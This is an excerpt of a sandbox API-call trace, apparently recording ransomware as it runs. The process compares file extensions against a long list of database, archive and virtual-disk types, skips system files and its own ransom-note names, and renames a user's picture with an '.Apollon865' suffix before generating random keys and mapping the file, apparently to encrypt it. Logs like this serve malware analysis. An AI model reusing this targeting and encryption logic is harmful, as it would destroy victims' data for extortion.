	[0087.048] lstrlenW (lpString="sas7bdat") returned 8
	[0087.048] lstrcmpiW (lpString1="Qs a.jpg", lpString2="sas7bdat") returned -1
	[0087.048] lstrlenW (lpString="sbf") returned 3
	[0087.048] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0087.048] lstrlenW (lpString="scx") returned 3
	[0087.048] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0087.048] lstrlenW (lpString="sdb") returned 3
	[0087.048] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0087.048] lstrlenW (lpString="sdc") returned 3
	[0087.048] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0087.048] lstrlenW (lpString="sdf") returned 3
	[0087.048] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0087.048] lstrlenW (lpString="sis") returned 3
	[0087.048] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0087.048] lstrlenW (lpString="spq") returned 3
	[0087.049] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0087.049] lstrlenW (lpString="te") returned 2
	[0087.049] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0087.049] lstrlenW (lpString="teacher") returned 7
	[0087.049] lstrcmpiW (lpString1="s a.jpg", lpString2="teacher") returned -1
	[0087.049] lstrlenW (lpString="tmd") returned 3
	[0087.049] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0087.049] lstrlenW (lpString="tps") returned 3
	[0087.049] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0087.049] lstrlenW (lpString="trc") returned 3
	[0087.049] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0087.049] lstrlenW (lpString="trc") returned 3
	[0087.049] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0087.049] lstrlenW (lpString="trm") returned 3
	[0087.049] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0087.049] lstrlenW (lpString="udb") returned 3
	[0087.049] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0087.049] lstrlenW (lpString="udl") returned 3
	[0087.049] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0087.049] lstrlenW (lpString="usr") returned 3
	[0087.049] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0087.049] lstrlenW (lpString="v12") returned 3
	[0087.049] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0087.049] lstrlenW (lpString="vis") returned 3
	[0087.049] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0087.049] lstrlenW (lpString="vpd") returned 3
	[0087.049] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0087.049] lstrlenW (lpString="vvv") returned 3
	[0087.049] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0087.049] lstrlenW (lpString="wdb") returned 3
	[0087.049] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0087.049] lstrlenW (lpString="wmdb") returned 4
	[0087.049] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0087.050] lstrlenW (lpString="wrk") returned 3
	[0087.050] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0087.050] lstrlenW (lpString="xdb") returned 3
	[0087.050] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0087.050] lstrlenW (lpString="xld") returned 3
	[0087.050] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0087.050] lstrlenW (lpString="xmlff") returned 5
	[0087.050] lstrcmpiW (lpString1="a.jpg", lpString2="xmlff") returned -1
	[0087.050] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0wYzxz5EQs a.jpg.Apollon865") returned 66
	[0087.050] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0wYzxz5EQs a.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0wyzxz5eqs a.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0wYzxz5EQs a.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0wyzxz5eqs a.jpg.apollon865"), dwFlags=0x1) returned 1
	[0087.051] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0wYzxz5EQs a.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0wyzxz5eqs a.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.051] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=30479) returned 1
	[0087.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.052] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.053] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.053] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.053] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a10, lpName=0x0) returned 0x15c
	[0087.053] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a10) returned 0x100000
	[0087.054] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.055] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.055] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.055] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.056] CloseHandle (hObject=0x15c) returned 1
	[0087.056] CloseHandle (hObject=0x9c) returned 1
	[0087.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.057] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x423b5cf0, ftCreationTime.dwHighDateTime=0x1d4d417, ftLastAccessTime.dwLowDateTime=0xba941650, ftLastAccessTime.dwHighDateTime=0x1d4c644, ftLastWriteTime.dwLowDateTime=0xba941650, ftLastWriteTime.dwHighDateTime=0x1d4c644, nFileSizeHigh=0x0, nFileSizeLow=0x16e56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6pPD-3xtzN5e.bmp", cAlternateFileName="6PPD-3~1.BMP")) returned 1
	[0087.057] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.057] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2="Apollon865.txt.exe") returned -1
	[0087.057] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2=".") returned 1
	[0087.058] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2="..") returned 1
	[0087.058] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2="windows") returned -1
	[0087.058] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2="bootmgr") returned -1
	[0087.058] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2="temp") returned -1
	[0087.058] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2="pagefile.sys") returned -1
	[0087.058] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2="boot") returned -1
	[0087.058] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2="ids.txt") returned -1
	[0087.058] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2="ntuser.dat") returned -1
	[0087.058] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2="perflogs") returned -1
	[0087.058] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2="MSBuild") returned -1
	[0087.058] lstrlenW (lpString="6pPD-3xtzN5e.bmp") returned 16
	[0087.058] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0wYzxz5EQs a.jpg") returned 55
	[0087.058] lstrcpyW (in: lpString1=0x119e656, lpString2="6pPD-3xtzN5e.bmp" | out: lpString1="6pPD-3xtzN5e.bmp") returned="6pPD-3xtzN5e.bmp"
	[0087.058] lstrlenW (lpString="6pPD-3xtzN5e.bmp") returned 16
	[0087.058] lstrlenW (lpString="Apollon865") returned 10
	[0087.058] lstrcmpiW (lpString1="xtzN5e.bmp", lpString2="Apollon865") returned 1
	[0087.058] lstrlenW (lpString=".dll") returned 4
	[0087.058] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2=".dll") returned 1
	[0087.058] lstrlenW (lpString=".lnk") returned 4
	[0087.058] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2=".lnk") returned 1
	[0087.058] lstrlenW (lpString=".ini") returned 4
	[0087.058] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2=".ini") returned 1
	[0087.058] lstrlenW (lpString=".sys") returned 4
	[0087.058] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2=".sys") returned 1
	[0087.058] lstrlenW (lpString="6pPD-3xtzN5e.bmp") returned 16
	[0087.058] lstrlenW (lpString="bak") returned 3
	[0087.058] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1
	[0087.058] lstrlenW (lpString="ba_") returned 3
	[0087.058] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1
	[0087.058] lstrlenW (lpString="dbb") returned 3
	[0087.058] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1
	[0087.058] lstrlenW (lpString="vmdk") returned 4
	[0087.058] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1
	[0087.058] lstrlenW (lpString="rar") returned 3
	[0087.058] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1
	[0087.059] lstrlenW (lpString="zip") returned 3
	[0087.059] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1
	[0087.059] lstrlenW (lpString="tgz") returned 3
	[0087.059] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1
	[0087.059] lstrlenW (lpString="vbox") returned 4
	[0087.059] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1
	[0087.059] lstrlenW (lpString="vdi") returned 3
	[0087.059] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1
	[0087.059] lstrlenW (lpString="vhd") returned 3
	[0087.059] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1
	[0087.059] lstrlenW (lpString="vhdx") returned 4
	[0087.059] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1
	[0087.059] lstrlenW (lpString="avhd") returned 4
	[0087.059] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1
	[0087.059] lstrlenW (lpString="db") returned 2
	[0087.059] lstrcmpiW (lpString1="mp", lpString2="db") returned 1
	[0087.059] lstrlenW (lpString="db2") returned 3
	[0087.059] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1
	[0087.059] lstrlenW (lpString="db3") returned 3
	[0087.059] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1
	[0087.059] lstrlenW (lpString="dbf") returned 3
	[0087.059] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1
	[0087.059] lstrlenW (lpString="mdf") returned 3
	[0087.059] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1
	[0087.059] lstrlenW (lpString="mdb") returned 3
	[0087.059] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1
	[0087.059] lstrlenW (lpString="sql") returned 3
	[0087.059] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1
	[0087.059] lstrlenW (lpString="sqlite") returned 6
	[0087.059] lstrcmpiW (lpString1="5e.bmp", lpString2="sqlite") returned -1
	[0087.059] lstrlenW (lpString="sqlite3") returned 7
	[0087.059] lstrcmpiW (lpString1="N5e.bmp", lpString2="sqlite3") returned -1
	[0087.059] lstrlenW (lpString="sqlitedb") returned 8
	[0087.059] lstrcmpiW (lpString1="zN5e.bmp", lpString2="sqlitedb") returned 1
	[0087.059] lstrlenW (lpString="xml") returned 3
	[0087.060] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1
	[0087.060] lstrlenW (lpString="$er") returned 3
	[0087.060] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1
	[0087.060] lstrlenW (lpString="4dd") returned 3
	[0087.060] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1
	[0087.060] lstrlenW (lpString="4dl") returned 3
	[0087.060] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1
	[0087.060] lstrlenW (lpString="^^^") returned 3
	[0087.060] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1
	[0087.060] lstrlenW (lpString="abs") returned 3
	[0087.060] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1
	[0087.060] lstrlenW (lpString="abx") returned 3
	[0087.060] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1
	[0087.060] lstrlenW (lpString="accdb") returned 5
	[0087.060] lstrcmpiW (lpString1="e.bmp", lpString2="accdb") returned 1
	[0087.060] lstrlenW (lpString="accdc") returned 5
	[0087.060] lstrcmpiW (lpString1="e.bmp", lpString2="accdc") returned 1
	[0087.060] lstrlenW (lpString="accde") returned 5
	[0087.060] lstrcmpiW (lpString1="e.bmp", lpString2="accde") returned 1
	[0087.060] lstrlenW (lpString="accdr") returned 5
	[0087.060] lstrcmpiW (lpString1="e.bmp", lpString2="accdr") returned 1
	[0087.060] lstrlenW (lpString="accdt") returned 5
	[0087.060] lstrcmpiW (lpString1="e.bmp", lpString2="accdt") returned 1
	[0087.060] lstrlenW (lpString="accdw") returned 5
	[0087.060] lstrcmpiW (lpString1="e.bmp", lpString2="accdw") returned 1
	[0087.060] lstrlenW (lpString="accft") returned 5
	[0087.060] lstrcmpiW (lpString1="e.bmp", lpString2="accft") returned 1
	[0087.060] lstrlenW (lpString="adb") returned 3
	[0087.060] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0087.060] lstrlenW (lpString="adb") returned 3
	[0087.060] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0087.060] lstrlenW (lpString="ade") returned 3
	[0087.060] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1
	[0087.060] lstrlenW (lpString="adf") returned 3
	[0087.060] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1
	[0087.061] lstrlenW (lpString="adn") returned 3
	[0087.061] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1
	[0087.061] lstrlenW (lpString="adp") returned 3
	[0087.061] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1
	[0087.061] lstrlenW (lpString="alf") returned 3
	[0087.061] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1
	[0087.061] lstrlenW (lpString="ask") returned 3
	[0087.061] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1
	[0087.061] lstrlenW (lpString="btr") returned 3
	[0087.061] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1
	[0087.061] lstrlenW (lpString="cat") returned 3
	[0087.061] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1
	[0087.061] lstrlenW (lpString="cdb") returned 3
	[0087.061] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1
	[0087.061] lstrlenW (lpString="ckp") returned 3
	[0087.061] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1
	[0087.061] lstrlenW (lpString="cma") returned 3
	[0087.061] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1
	[0087.061] lstrlenW (lpString="cpd") returned 3
	[0087.061] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1
	[0087.061] lstrlenW (lpString="dacpac") returned 6
	[0087.061] lstrcmpiW (lpString1="5e.bmp", lpString2="dacpac") returned -1
	[0087.061] lstrlenW (lpString="dad") returned 3
	[0087.061] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1
	[0087.061] lstrlenW (lpString="dadiagrams") returned 10
	[0087.061] lstrcmpiW (lpString1="xtzN5e.bmp", lpString2="dadiagrams") returned 1
	[0087.061] lstrlenW (lpString="daschema") returned 8
	[0087.061] lstrcmpiW (lpString1="zN5e.bmp", lpString2="daschema") returned 1
	[0087.061] lstrlenW (lpString="db-journal") returned 10
	[0087.061] lstrcmpiW (lpString1="xtzN5e.bmp", lpString2="db-journal") returned 1
	[0087.061] lstrlenW (lpString="db-shm") returned 6
	[0087.061] lstrcmpiW (lpString1="5e.bmp", lpString2="db-shm") returned -1
	[0087.061] lstrlenW (lpString="db-wal") returned 6
	[0087.061] lstrcmpiW (lpString1="5e.bmp", lpString2="db-wal") returned -1
	[0087.061] lstrlenW (lpString="dbc") returned 3
	[0087.062] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1
	[0087.062] lstrlenW (lpString="dbs") returned 3
	[0087.062] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1
	[0087.062] lstrlenW (lpString="dbt") returned 3
	[0087.062] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1
	[0087.062] lstrlenW (lpString="dbv") returned 3
	[0087.062] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1
	[0087.062] lstrlenW (lpString="dbx") returned 3
	[0087.062] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1
	[0087.062] lstrlenW (lpString="dcb") returned 3
	[0087.062] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1
	[0087.062] lstrlenW (lpString="dct") returned 3
	[0087.062] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1
	[0087.062] lstrlenW (lpString="dcx") returned 3
	[0087.062] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1
	[0087.062] lstrlenW (lpString="ddl") returned 3
	[0087.062] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1
	[0087.062] lstrlenW (lpString="dlis") returned 4
	[0087.062] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1
	[0087.062] lstrlenW (lpString="dp1") returned 3
	[0087.062] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1
	[0087.062] lstrlenW (lpString="dqy") returned 3
	[0087.062] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1
	[0087.062] lstrlenW (lpString="dsk") returned 3
	[0087.062] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1
	[0087.062] lstrlenW (lpString="dsn") returned 3
	[0087.062] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1
	[0087.062] lstrlenW (lpString="dtsx") returned 4
	[0087.062] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1
	[0087.062] lstrlenW (lpString="dxl") returned 3
	[0087.062] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1
	[0087.062] lstrlenW (lpString="eco") returned 3
	[0087.062] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1
	[0087.062] lstrlenW (lpString="ecx") returned 3
	[0087.063] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1
	[0087.063] lstrlenW (lpString="edb") returned 3
	[0087.063] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1
	[0087.063] lstrlenW (lpString="epim") returned 4
	[0087.063] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1
	[0087.063] lstrlenW (lpString="fcd") returned 3
	[0087.063] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1
	[0087.063] lstrlenW (lpString="fdb") returned 3
	[0087.063] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1
	[0087.063] lstrlenW (lpString="fic") returned 3
	[0087.063] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1
	[0087.063] lstrlenW (lpString="flexolibrary") returned 12
	[0087.063] lstrcmpiW (lpString1="-3xtzN5e.bmp", lpString2="flexolibrary") returned -1
	[0087.063] lstrlenW (lpString="fm5") returned 3
	[0087.063] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1
	[0087.063] lstrlenW (lpString="fmp") returned 3
	[0087.063] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1
	[0087.063] lstrlenW (lpString="fmp12") returned 5
	[0087.063] lstrcmpiW (lpString1="e.bmp", lpString2="fmp12") returned -1
	[0087.063] lstrlenW (lpString="fmpsl") returned 5
	[0087.063] lstrcmpiW (lpString1="e.bmp", lpString2="fmpsl") returned -1
	[0087.063] lstrlenW (lpString="fol") returned 3
	[0087.063] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1
	[0087.063] lstrlenW (lpString="fp3") returned 3
	[0087.063] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1
	[0087.063] lstrlenW (lpString="fp4") returned 3
	[0087.063] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1
	[0087.063] lstrlenW (lpString="fp5") returned 3
	[0087.063] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1
	[0087.063] lstrlenW (lpString="fp7") returned 3
	[0087.063] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1
	[0087.063] lstrlenW (lpString="fpt") returned 3
	[0087.063] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1
	[0087.063] lstrlenW (lpString="frm") returned 3
	[0087.063] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1
	[0087.064] lstrlenW (lpString="gdb") returned 3
	[0087.064] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0087.064] lstrlenW (lpString="gdb") returned 3
	[0087.064] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0087.064] lstrlenW (lpString="grdb") returned 4
	[0087.064] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1
	[0087.064] lstrlenW (lpString="gwi") returned 3
	[0087.064] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1
	[0087.064] lstrlenW (lpString="hdb") returned 3
	[0087.064] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1
	[0087.064] lstrlenW (lpString="his") returned 3
	[0087.064] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1
	[0087.064] lstrlenW (lpString="ib") returned 2
	[0087.064] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1
	[0087.064] lstrlenW (lpString="idb") returned 3
	[0087.064] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1
	[0087.064] lstrlenW (lpString="ihx") returned 3
	[0087.064] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1
	[0087.064] lstrlenW (lpString="itdb") returned 4
	[0087.064] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1
	[0087.064] lstrlenW (lpString="itw") returned 3
	[0087.064] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1
	[0087.064] lstrlenW (lpString="jet") returned 3
	[0087.064] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1
	[0087.064] lstrlenW (lpString="jtx") returned 3
	[0087.064] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1
	[0087.064] lstrlenW (lpString="kdb") returned 3
	[0087.064] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1
	[0087.064] lstrlenW (lpString="kexi") returned 4
	[0087.064] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1
	[0087.064] lstrlenW (lpString="kexic") returned 5
	[0087.064] lstrcmpiW (lpString1="e.bmp", lpString2="kexic") returned -1
	[0087.064] lstrlenW (lpString="kexis") returned 5
	[0087.064] lstrcmpiW (lpString1="e.bmp", lpString2="kexis") returned -1
	[0087.065] lstrlenW (lpString="lgc") returned 3
	[0087.065] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1
	[0087.065] lstrlenW (lpString="lwx") returned 3
	[0087.065] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1
	[0087.065] lstrlenW (lpString="maf") returned 3
	[0087.065] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1
	[0087.065] lstrlenW (lpString="maq") returned 3
	[0087.065] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1
	[0087.065] lstrlenW (lpString="mar") returned 3
	[0087.065] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1
	[0087.065] lstrlenW (lpString="marshal") returned 7
	[0087.065] lstrcmpiW (lpString1="N5e.bmp", lpString2="marshal") returned 1
	[0087.065] lstrlenW (lpString="mas") returned 3
	[0087.065] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1
	[0087.065] lstrlenW (lpString="mav") returned 3
	[0087.065] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1
	[0087.065] lstrlenW (lpString="maw") returned 3
	[0087.065] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1
	[0087.065] lstrlenW (lpString="mdbhtml") returned 7
	[0087.066] lstrcmpiW (lpString1="N5e.bmp", lpString2="mdbhtml") returned 1
	[0087.066] lstrlenW (lpString="mdn") returned 3
	[0087.066] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1
	[0087.066] lstrlenW (lpString="mdt") returned 3
	[0087.066] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1
	[0087.066] lstrlenW (lpString="mfd") returned 3
	[0087.066] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1
	[0087.066] lstrlenW (lpString="mpd") returned 3
	[0087.066] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1
	[0087.066] lstrlenW (lpString="mrg") returned 3
	[0087.066] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1
	[0087.066] lstrlenW (lpString="mud") returned 3
	[0087.066] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1
	[0087.066] lstrlenW (lpString="mwb") returned 3
	[0087.066] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1
	[0087.066] lstrlenW (lpString="myd") returned 3
	[0087.066] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1
	[0087.066] lstrlenW (lpString="ndf") returned 3
	[0087.066] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1
	[0087.066] lstrlenW (lpString="nnt") returned 3
	[0087.066] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1
	[0087.066] lstrlenW (lpString="nrmlib") returned 6
	[0087.066] lstrcmpiW (lpString1="5e.bmp", lpString2="nrmlib") returned -1
	[0087.066] lstrlenW (lpString="ns2") returned 3
	[0087.066] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1
	[0087.066] lstrlenW (lpString="ns3") returned 3
	[0087.066] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1
	[0087.066] lstrlenW (lpString="ns4") returned 3
	[0087.066] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1
	[0087.066] lstrlenW (lpString="nsf") returned 3
	[0087.066] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1
	[0087.066] lstrlenW (lpString="nv") returned 2
	[0087.066] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1
	[0087.066] lstrlenW (lpString="nv2") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1
	[0087.067] lstrlenW (lpString="nwdb") returned 4
